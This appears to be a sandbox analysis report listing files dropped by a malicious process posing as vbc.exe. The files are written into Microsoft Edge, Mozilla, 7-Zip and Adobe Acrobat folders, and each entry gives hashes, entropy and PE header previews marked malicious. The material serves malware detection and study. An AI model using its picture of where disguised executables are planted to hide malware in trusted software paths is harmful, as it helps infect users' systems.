SHA1:	0FC9E7452C969677F3B356920D5E2CBDAC537860
SHA-256:	50DF77D5CA011E6D8FC5DD9659F47F6F6E0052002EC957833198AB5CE34AAC6F
SHA-512:	371AA850437EFF0DD47D723336DA34D6CF04C1A20A01CB0F78F18133CB0440830E00C12A1CCF6DE4E68DF60B99A3E347CBB38D31B1FF7A0B24291AED8A6C8E3B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............O.@.O.@.O.@.$.A.O.@.$.A\|O.@.7.A.O.@.7.A.O.@.7.A.O.@W6.A.O.@.$.A.O.@.$.A.O.@.$.A.O.@.O.@IN.@W6.A.O.@W6.@.O.@W6.A.O.@Rich.O.@........PE..d...@(.d.........."......n...........].........@.....................................@.... .....................................................(............@..........................p.......................(...p,..@...............0............................text....l.......n.................. ..`.rdata..8z.......\|...r..............@..@.data...P3..........................@....pdata.......@......................@..@.didat.......`......................@..._RDATA.......p......................@..@.rsrc...............................@..@.reloc...P.......@... ..............@...........................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	5.331558193760986
Encrypted:	false
SSDEEP:	24576:f03cT++foSBWU2YxhkgKRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:83cK+foQWU2YnPKRVlbnXf9gPTTW7H1B
MD5:	DAB3FF8CF829D86E91E8A4905CDA6F21
SHA1:	BAACA46C9F938AB13F56FDFDD87B8EFDD8E3E270
SHA-256:	A548ED298AD18C9C8D14BC60AADAD5B77DE5DCA9AE49358B23FD448DA23E084C
SHA-512:	13E05050770E2F2F764836DC232F9970904213057C0CB123A795E552721B7F867A2894F7F80A98B9F620924A9A90AF027D6A09F4BF2749E952E0A8FA8D4127F7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............wU..wU..wU.tT..wU.rTg.wU..sT..wU..tT..wU..rT..wU.sT..wU.qT..wU.vT..wU..vUQ.wUK.~T..wUK..U..wUK.uT..wURich..wU........PE..L...B(.d............................p.............@.................................U\|.......................................y..........H3...........................g..p....................g..........@....................x.......................text............................... ..`.rdata...z.......\|..................@..@.data....'...........z..............@....didat..$...........................@....rsrc...H3.......4..................@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1221120
Entropy (8bit):	5.1308300418957735
Encrypted:	false
SSDEEP:	24576:qbBRzBgqRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:sBRVgqRVlbnXf9gPTTW7H1GXC
MD5:	5F7DB2CB7CA8BFA9F63DF3A56AA3958A
SHA1:	00F4D6D552203F0F5B6DAAC0D9C86FF9CD955304
SHA-256:	316132C41D9E78B4C878CDAD48373DDB5130A841A4109A2BC799F15F5C1F45A7
SHA-512:	2985ED5057A7FF1C708B2FC23980C9CA3E606FC599FD6B09C61B080A17AA57ED228AA31225849EFE12256520BC2AB9BF8DAC74CD688B123C9E68DADFA33B496B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...7(.d..........................................@.............................................................................(....`..X3..............................p...............................@...................<...@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...`.......P...R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2168832
Entropy (8bit):	7.9387402772425615
Encrypted:	false
SSDEEP:	49152:Ry53w24gQu3TPZ2psFkiSqwozoRVlbnXf9gPTTW7H1GXC:RyFQgZqsFki+ozoRVlbnP9WXW7H6C
MD5:	9665D6FA54C78031B0B9F8DF815C8E73
SHA1:	7C2A55D94D7BB38C168DA75DF440B110A5338218
SHA-256:	AA319B1A0E6D829CD3258111F4CF9CBB0D916179B5A5225DB4D0065226A9286D
SHA-512:	50DD0B5F826951DCE31595D3E7CCAEF975D3100BD18293DC7FA3FE3E9EBFD5F69CBB0590AE0500C12A6E2DCDFDD5821A8E63966B491CBA43AAAFDBDFADA6818F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d..[ e.. e.. e..4...+e..4....e..B...1e..B...4e......-e..B....e..4...3e..4...!e..4...-e.. e...e....@.!e.. e(.ve......!e..Rich e..................PE..L....(.d............................ }............@..........................p!.....~F!......................................?..x....................................1..p....................1..........@...............H...T>..`....................text...*........................... ..`.rdata..............................@..@.data...,....P.......8..............@....didat..,....p.......B..............@....rsrc................D..............@..@.reloc.......p.......(..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	4.908053095817471
Encrypted:	false
SSDEEP:	48:QU/zIRJpixRuyKDym9ggjIzI2yLWSvEyeyDKcwyqq+UpopUJNyniKyD:OObvEa4
MD5:	97027D07AAB09F42442BD15A5B65EECD
SHA1:	A28D161997569F362DC30EB9210B56E41BC4C917
SHA-256:	ACF0B361F026567ECA9A5A5886AC663D0053C600BC36F590D386493F37D6382C
SHA-512:	BCF5272F60FA1660C2B0C7BD1FCADBE29F2124F83CA243EE381E64C90FDC3CC3D29DE385834254C6C33A5ACFF853C5B0C521BACA53CAAFD4C7E58E8EE16C332C
Malicious:	false
Reputation:	unknown
Preview:	2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeAuditPrivilege...2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeBackupPrivilege...2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeCreateGlobalPrivilege...2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeCreatePagefilePrivilege...2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeCreatePermanentPrivilege...2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...2024-11-28 16:44:26-0500: Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeDebugPrivilege...2024-11-28 16:44:26-0500: Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..2024-11-28 16:44:26-0500: Disabled unneeded token privilege: SeImpersonatePrivilege...2024-11-28 16:44:2

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1356800
Entropy (8bit):	5.347851035488352
Encrypted:	false
SSDEEP:	24576:gQVTZu0JtsqjnhMgeiCl7G0nehbGZpbD:fVTZucDmg27RnWGj
MD5:	644513105C5FAA8D93951A3690E4014C
SHA1:	CE87FC435B4B5D96F9092FB047E2A6F76DA6F265
SHA-256:	3D12C6189F0A759291474539A7F41498513F240C67F2BF514AD898981F8CD61A
SHA-512:	0009B398D379FC3ED0E7C445813F43ECEAF59E6487D0770AD1BE4F2E7A96829ADB326FE4C76DBD394523E2E314A90E9C952D73295EC556F803E6108460C79CA2
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................P.......t.... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...P.......@...t..............@...........................................................................................................................................................................................................................

C:\Program Files\7-Zip\7z.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1683968
Entropy (8bit):	5.623141229656673
Encrypted:	false
SSDEEP:	24576:C+gkESfh4CoKsqjnhMgeiCl7G0nehbGZpbD:HgkE+SYDmg27RnWGj
MD5:	C556C9415156168A9241A1485ABFCD1B
SHA1:	24EFA76A174A08EE7392BB1ADA1C1316844CEFF3
SHA-256:	5157F169BC744716E8E47C95919383894BD3CC1C4FDF080000B378ACE8EF8161
SHA-512:	385FBCFBF41D4836A52EB006A877962D08559FC30974B662725DE660E98783488B2B57FAF216595BACF1E94555546E10DD0CE60EC2A5A5E89E743B21E12B425B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............xaX.xaX.xaX...X.xaX...X.xaX.x`XlxaX...X.xaX..eY.xaX...X.xaX`.bY.xaX...X.xaX...X.xaXRich.xaX........................PE..d....\.d.........."...........................@.............................. ............ .....................................................x............@...q......................................................................0............................text...v........................... ..`.rdata..T...........................@..@.data....-..........................@....pdata...q...@...r..................@..@.rsrc................j..............@..@.reloc...P.......@...r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zFM.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1532416
Entropy (8bit):	7.096669432275988
Encrypted:	false
SSDEEP:	24576:dBpDRmi78gkPXlyo0GtjrVsqjnhMgeiCl7G0nehbGZpbD:XNRmi78gkPX4o0GtjNDmg27RnWGj
MD5:	148394E4EFBAB807A0FF714F17532C36
SHA1:	280681E9A5C1FBEDC59629950CE77BF362A11644
SHA-256:	7DDF905D18DF7DA9E313A2C6F72B34EE08D09F7C661F086B08C3212105E2DD28
SHA-512:	277AE985332AC84BF185D35BC41D7E28AA1E8B0AA04D1A22AD838CF66C3FC358B1488082BED716876AC12E003CF756E9830D2A7EDB802ADC324F4329792B8F28
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\..2..2..2.0.\..2..I..2..3..2..O..2..\.D.2...6..2.._..2..N..2..J..2.Rich.2.........................PE..d....\.d.........."......b...8......Pi........@........................................... .................................................P................... .......................................................................(.......@....................text....a.......b.................. ..`.rdata...i.......j...f..............@..@.data...............................@....pdata.. ...........................@..@.rsrc...............................@..@.reloc...............r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1282048
Entropy (8bit):	7.22907029371895
Encrypted:	false
SSDEEP:	24576:MLOS2oTPIXVKsqjnhMgeiCl7G0nehbGZpbD:U/TlDmg27RnWGj
MD5:	064B8EDA98952251C0F55816C981877C
SHA1:	C44E2E7D85D3A52D883D1C9A3CF69ABB27322347
SHA-256:	DC0CDD928F3C6BAB25553544ABABE8B66D06EF2C856C164C7008662DD0B03C94
SHA-512:	920E10B730272E7BAD70DF70236CCE59D8346080BE3853FA2C4E2465F38C17CD80803DCAEB7EA6B0D637DBB73EF6D7A032061356886E83A1EDD6918285F59100
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.VS.y8..y8..y8...C.jy8..y9..y8...E.}y8...V..y8.i.<.~y8...U.ky8...;.~y8...D.~y8...@.~y8.Rich.y8.........PE..d....\.d.........."......&..........."........@........................................... ..............................................................d...........................................................................@...............................text...4$.......&.................. ..`.rdata..Ts...@...t...*..............@..@.data...83..........................@....pdata..............................@..@.rsrc....d.......f...:..............@..@.reloc..............................@...........................................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1145344
Entropy (8bit):	5.031214663596253
Encrypted:	false
SSDEEP:	12288:k1MXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:k1MsqjnhMgeiCl7G0nehbGZpbD
MD5:	962F036055C8700601A80EB8D55F4D33
SHA1:	57D95363E945D5B4A25205D185BD0ED80674FE87
SHA-256:	D31B10D4DEDEC81055FF085FF635D4B939061C6D7F813541F9DCB33976788765
SHA-512:	AF10E62110189CBCB316C2D45C0C1AF2595A74F63B6E9E8ADCAA762C5836C1671BEFE1E3FDC06F90553F47050A4A013BFE175BC6E24E08E5EC1983281F72D3E8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../..........@......f!.......0....@.................................Lu......................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc....`...`...P...*..............@...........................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1222656
Entropy (8bit):	6.712053675041287
Encrypted:	false
SSDEEP:	12288:tRudzvXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:tAdzvsqjnhMgeiCl7G0nehbGZpbD
MD5:	B607159DB00D071ECD792434722F4680
SHA1:	B75837359137A1170E37D859FAF03F03A9C41A63
SHA-256:	AA3BAE970CF1F9DCA43BB455E8CB0546111F71C6BCADC2270B1CBDAF7CB5FF3B
SHA-512:	3E2AC8099BACE2274B42AB702A0E505483082CBFB71E9B919823F358A710921AD3635CF91DAD6F4989BA244E53C77F47E80D5D4BF4D173BDE7F5886D9C2C34EF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4.F.4.F.4.F.LEF.4.FE@.G.4.FE@.G.4.FE@.G.4.FE@.G.4.F._.G.4.F.4.F%4.FG@.G.4.FG@)F.4.F.4AF.4.FG@.G.4.FRich.4.F................PE..d......d.........."......6.....................@....................................=9.... .....................................................\|....P..h........9.....................p.......................(...P...8............P...............................text....4.......6.................. ..`.rdata..>....P.......:..............@..@.data...............................@....pdata...9.......:..................@..@.rsrc...h....P......................@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1457664
Entropy (8bit):	5.082172819259051
Encrypted:	false
SSDEEP:	12288:0v7Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:gsqjnhMgeiCl7G0nehbGZpbD
MD5:	6C07308E316755EF2F904FAC94E072C4
SHA1:	053E972835DD86264570523FD6A73D8CBAC0F4A7
SHA-256:	F60D282EEE5BEC127BD2079CCC012D8F82257DB276B7F11A0CFAA5249F7DAD54
SHA-512:	42E5617266506F221B93891C21E8A8D072ABD6B451086944A47B05DB5038549F6B40543DB408C83805B93816CB14612D498508753302B5F66D483E5D2D1CA1E0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......]../...\|...\|...\|B..}...\|B..}...\|...}...\|..S\|...\|..}=..\|..}...\|..}...\|..}...\|..=\|...\|o..\|...\|B..}...\|...\|...\|..}...\|..Q\|...\|..9\|...\|..}...\|Rich...\|................PE..d......d.........."......H...........&.........@....................................1/.... .................................................@...,....@..........4......................T.......................(...@...8............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data...............................@....pdata..4...........................@..@.CRT....@....0......................@..@.rsrc........@......................@..@.reloc...P...P...@..................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1461248
Entropy (8bit):	5.468634443928687
Encrypted:	false
SSDEEP:	24576:N5zhM1XSEusqjnhMgeiCl7G0nehbGZpbD:ZMsTDmg27RnWGj
MD5:	63E3BB01C24D521F08D5DA84EA08A312
SHA1:	F3EF14F40B2074601D15C058635E4D5CC86D3EAA
SHA-256:	7101044AB67CD1DC8EFD7616AA3AA49BC6848135C3741271F2C0F98F971779F7
SHA-512:	3D7148B2E6E405F8C8E1D46F38A1A51C7DEE9A49ECB842BB9844FE8B84E288DA7DFD6B045EC6859A55F9010B7986762485C95B4C64FD65BA9378A6E73C275036
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........<$.Rw.Rw.Rw...w..Rw5.Vv.Rw5.Qv.Rw5.Sv.Rw7.Sv.Rw..Vv.Rw..Tv.Rw..Sv..Rw.Sw..Rw5.Wv.Rw.t/w.Rw.t?w..Rw7.Wv.Rw7.Vv.Rw7.w.Rw..w.Rw7.Pv.RwRich.Rw........PE..d......d.........."..........z......@..........@....................................g..... ................................................. A...................+......................T.......................(.......8............................................text............................... ..`.rdata..............................@..@.data....d...`...\...T..............@....pdata...+.......,..................@..@.rsrc............0..................@..@.reloc...P...0...@..................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.499793724660495
Encrypted:	false
SSDEEP:	49152:WtuUC0nNc/RcYHCY9AWWnURqdHIEogMAYrukdUmSC+bXMZQU1QqpN755xDmg27RN:WjEIa4HIEWOc53D527BWG
MD5:	C1CFD6FCB6BC32F36B8A34D8455966F7
SHA1:	CC643FF18B8AAD00C78BB8473BE6042595ECC53A
SHA-256:	5EFF6FE37DCCF2F917CB29B02FF67456757AF22F7297EF4E5A7584505730739C
SHA-512:	43732E9886F80EA8A6FDB51E72E6A563CF7066592572D045455196791A967627CC0857072A553DC64F0DE1262006AF889C0CE59C8FD71BC748870B8FD6AB76F0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.......?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.99936732716747
Encrypted:	true
SSDEEP:	1572864:1Qb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:uXhwMhe6AABPiQwF6xQ22R
MD5:	0F5D775032400655E05468EB739BFD85
SHA1:	ACCCBE98C43C093DAD1C8606B310369C229D08C6
SHA-256:	BC1BDE2CA96F84FF1FB9273C7E260F43A57889BC69476AB22150378CFF643376
SHA-512:	144CFEDB84E02ADA102747A2C3858A1E0989D5B60AEA6731524B8D69FB8341959944872959C22F1AC3037F54FDB9B02174B3AB28A85F76CEC3A2F59805C8ABDE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0............ .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1180160
Entropy (8bit):	5.08482970497558
Encrypted:	false
SSDEEP:	12288:IWrXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:IesqjnhMgeiCl7G0nehbGZpbD
MD5:	9E03958E27E1732026CBEED075960B24
SHA1:	6B7760023F1B8743F4B325E03FF1B050FCE4C6A4
SHA-256:	AD0A15B95700272D32A87212E3FA3C78A073C74AB6FE5719040AC10DCAE32827
SHA-512:	276897A67D6F2A2B3CF15C2024A47F93781D682D767698F925BCCC82EA8D354DF445BBE631C3886FEE846FC21088253FA0A23574281C10090F3A16BCAAEBE893
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........e....b..b..b.\|...b.epf..b.epa..b.epg..b.epc..b.oc..b..c.2.b.gpg..b.gp...b.....b.gp`..b.Rich..b.................PE..d...R..d.........."......l...Z.......m.........@.............................@......U..... .....................................................\|.......p.......@.......................T.......................(.......8............................................text...>k.......l.................. ..`.rdata..J:.......<...p..............@..@.data...............................@....pdata..@...........................@..@.rsrc...p...........................@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6210048
Entropy (8bit):	6.386710599938762
Encrypted:	false
SSDEEP:	49152:+DvZEaFVUn+Dpasot2xQevgjCGT7lmPIionqOgBhGl6zVLkVEk3yV07U24GEQTXZ:fnN9KfxLk6GEQTX5UKzNDwD527BWG
MD5:	1BE7872FF97C30030EDED9D2499D40B9
SHA1:	95B7733967DF3979BBDF7B9696308B10E9F11CCE
SHA-256:	655B660929AAA79A41B9BB9F49C6E1BF25A1CF82482244955B6A287AA2AC6A3B
SHA-512:	D5408574811F99F3DD48171F9611028B95A570C4E35A24F505BAB5A2A7E61DF579370BCFF146ED38DEB2C62367F73D95E0FE3497A6F1A3328CAC5EE3DFE5A41B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......;..j...9...9...9k..8r..9k..8...9...8l..9...8t..9..p9\|..9...9...9...8...9k..8\..9k..8}..9k..8n..9...9...9...8Y..9...8~..9..r9~..9...9\|..9...8~..9Rich...9........................PE..d......d.........."......V4..,"......L(........@.............................._......._... ..........................................<F.\|....EF.x....0K..V...@H......................n;.T....................o;.(....:.8............p4..... .F.`....................text...,T4......V4................. ..`.rdata..@....p4......Z4.............@..@.data...l.....F......nF.............@....pdata.......@H......vG.............@..@.didat.. .....K......>J.............@..._RDATA....... K......HJ.............@..@.rsrc....V...0K..X...JJ.............@..@.reloc...0....V.. ....U.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1157120
Entropy (8bit):	5.04149745080951
Encrypted:	false
SSDEEP:	12288:emXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:emsqjnhMgeiCl7G0nehbGZpbD
MD5:	548557C727CD0159FF5F05E3F749D478
SHA1:	24C286B001748E225BE90A9351283365C9BF6B4D
SHA-256:	9C3CDD2D7DCA17EB02D8487A962D8255D64C34AC67BEC19C6D1C7458329AE0EA
SHA-512:	014C34F5DC85FCBD4DBD1C14BA0D1C78B8EE2C00BE1F61AA6151BC9691454CB5CEB0CF8F743B248398467D7EB79679B41626BF50F989A76E88CEB9BB6EE6B113
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.tKx...x...x...q..t.......c.......r.......{.......~...l...}...x...........\|.......y...x...y.......y...Richx...................PE..d......d.........."..........>.......0.........@......................................... .................................................lV..........h...........................PI..T....................K..(....I..8............@...............................text....,.......................... ..`.rdata..4"...@...$...2..............@..@.data........p.......V..............@....pdata...............X..............@..@.rsrc...h............\..............@..@.reloc...P.......@...h..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12039168
Entropy (8bit):	6.596678752729291
Encrypted:	false
SSDEEP:	98304:7b+MzPstUEHInwZk3RBk9DdhgJCudq1uVIyESYgKhD527BWG:HnPgTHIwZoRBk9DdhSUEVIXgKhVQBWG
MD5:	373B7B4556A367AAC3A716F31F4CE479
SHA1:	382EA343DA126977A496A27B9CAF6270B4821EB5
SHA-256:	234394D179326793214800F9A33A95C738738CF642D05EE049B483CF2DC8F26B
SHA-512:	A3F87118D0D047D80F93955AAC383119731ADBB738165CE87D270D66C35158F52EFDB5A22D6F3F8FA3BE88781B73F80E77BF797B142D15062CFC5ADD5B5B78FC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......&.w.bb..bb..bb..v...lb..v...b.....qb.....hb......ab......b..E.t.Vb..E.d.jb.....ib......b..v...\|b..v...cb.....`..bb..}b..v...Ab..bb..,`.....b.....cb.....cb..bb..`b.....cb..Richbb..........PE..d......d..........".........../.....0.F........@.....................................Z.... ............................................\...,..h........G......Lz..................P..T......................(......8...........................................text............................... ..`.rdata..f. .......!.................@..@.data..............................@....pdata..Lz.......\|.................@..@.didat...............X..............@..._RDATA...............Z..............@..@.rsrc....G.......H...\..............@..@.reloc... .........................@...........................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1322496
Entropy (8bit):	5.281833399741152
Encrypted:	false
SSDEEP:	24576:bg5FvCPusNsqjnhMgeiCl7G0nehbGZpbD:cftuDmg27RnWGj
MD5:	B3CBED321222BC877A0E348542133421
SHA1:	1A3B015F4E94C89B8D45E2A70340469082A5B0F2
SHA-256:	5EA8C5C9AB319B322D982FD3CD0AE0E4ADB636C1B3FB8FD65F1D02C1084DB30F
SHA-512:	C28CC1BEF3FC58650A64E3A4491B5110E47296904DD90DD86942A258D55DA4B34010090CF6019520B10B1700C550FFD4053DE0D6DADB547F96D066D94D6A0134
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ z.A...A...A...9...A..O5...A..O5...A..O5...A..O5...A...*...A...A...@..M5...A..M5.A...A...A..M5...A..Rich.A..................PE..d......d.........."..........b.................@.............................p............ .................................................X...h....p..p....P..t.......................T.......................(.......8............................................text...,........................... ..`.rdata.............................@..@.data........@.......&..............@....pdata..t....P......................@..@.rsrc...p....p.......B..............@..@.reloc...P... ...@..................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339904
Entropy (8bit):	7.208906202543243
Encrypted:	false
SSDEEP:	24576:hjKTIsAjFuvtIfmFthMaT5U8aChaeunsqjnhMgeiCl7G0nehbGZpbD:hjIMmPh7TT79WDmg27RnWGj
MD5:	13E30782CCE9F8772DD9C1B4AFEDD0DF
SHA1:	6FB734E51429A4546ADE92C8ABBD566ADC0E59B1
SHA-256:	6B393886CE964F461C832ED8CFFEDFD70128068D68FF8F9659AC0FE4AFDC8F49
